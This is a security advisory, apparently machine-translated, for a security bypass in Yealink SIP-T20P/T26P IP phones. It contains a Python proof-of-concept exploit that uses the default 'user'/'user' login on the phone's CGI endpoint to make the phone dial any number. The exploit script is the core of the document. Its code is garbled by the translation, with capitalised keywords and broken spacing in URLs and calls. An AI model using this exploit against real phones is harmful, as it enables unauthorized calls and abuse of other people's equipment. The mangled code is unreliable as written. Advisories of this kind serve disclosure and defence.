YeaLink IP Phone SIP-T20P/SIP-T26P Security Bypass Vulnerability

Release date:
Updated on: 2013-05-30

Affected Systems:
Yealink Yealink SIP-T20P IP Phone
Yealink SIP-T26P
Description:
--------------------------------------------------------------------------------
Bugtraq id: 60204
 
YeaLink IP Phone SIP-T20P, SIP-T26P is an enterprise hd ip Phone.
 
YeaLink IP Phone SIP-T20P and SIP-T26P have a security bypass vulnerability on implementation that allows attackers to bypass certain security restrictions and perform unauthorized operations.
 
<* Source: b0hr
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!
#! /Usr/bin/python

Import urllib2, sys

Print "\ n YeaLink IP Phone SIP-TxxP firmware <= 9.70.0.100 phone call vulnerability-b0rh (francisco <[at]> garnelo. eu)-2013-05-28 \ n"

If (len (sys. argv )! = 3 ):
Print "> Use:" + sys. argv [0] + "<IP Phone> <phone number>"
Print "> Ex:" + sys. argv [0] + "127.0.0.1 123456789 \ n"
Exit (0)

IP = sys. argv [1]
Num = sys. argv [2]
UrlGet_params = 'HTTP: // % s/cgi-bin/ConfigManApp.com? Id = 34 & Command = 1 & Number = % s & Account = 0 & sid = 0.724202975169738 '% (IP, num)
WebU = 'user'
WebP = 'user'

Query = urllib2.HTTPPasswordMgrWithDefaultRealm ()
Query. add_password (None, UrlGet_params, webU, webP)
Auth = urllib2.HTTPBasicAuthHandler (query)
Log = urllib2.build _ opener (auth)

Urllib2.install _ opener (log)

QueryPag = urllib2.urlopen (UrlGet_params)

Print "\ n Call to % s form IP phone % s \ n" % (num, IP)

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:
 
Yealink
-------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:
 
Http://yealink.com